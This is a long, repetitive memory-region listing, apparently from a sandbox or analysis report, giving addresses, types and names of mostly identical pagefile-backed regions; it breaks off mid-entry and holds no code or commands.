Region: id = 6035 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6036 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6037 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6038 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6039 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6040 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6041 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6042 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6043 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6044 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6045 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6046 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6047 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6048 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6049 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6050 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6051 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6052 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6053 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6054 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6055 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6056 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6057 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6058 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6059 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6060 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6061 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6062 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6063 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6064 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6065 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6066 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6067 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6068 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6069 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6070 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6071 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6072 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6073 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6074 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6075 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6076 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6077 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6078 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6079 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6080 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6081 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6082 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6083 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6084 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6085 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6086 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6087 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6088 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6089 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6090 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6091 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6092 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6093 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6094 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6095 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6096 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6097 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6098 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6099 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6100 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6101 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6102 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6103 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6104 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6105 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6106 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6107 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6108 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6109 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6110 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6111 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6112 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6113 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6114 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6115 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6116 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6117 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6118 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6119 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6120 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6121 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6122 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6123 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6124 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6125 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6126 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6127 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6128 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6129 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6130 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6131 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6132 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6133 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6134 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6135 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6136 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6137 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6138 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6139 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6140 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6141 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6142 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6143 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6144 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6145 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6146 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6147 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6148 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6149 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6150 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6151 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6152 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6153 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6154 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6155 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6156 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6157 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6158 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6159 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6160 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6161 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6162 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6163 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6164 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6165 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6166 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6167 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6168 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6169 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6170 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6171 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6172 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6173 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6174 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6175 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6176 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6177 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6178 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6179 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6180 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6181 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6182 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6183 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6184 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6185 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6186 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6187 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6188 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6189 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6190 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6191 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6192 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6193 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6194 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6195 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6196 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6197 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6198 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6199 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6200 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6201 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6202 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6203 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6204 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6205 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 6206 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 6207 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6208 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6209 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6210 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6211 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6212 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6213 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6214 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6215 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6216 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6217 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6218 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6219 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6220 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6221 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6222 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6223 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6224 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 6225 start_va = 0x440000 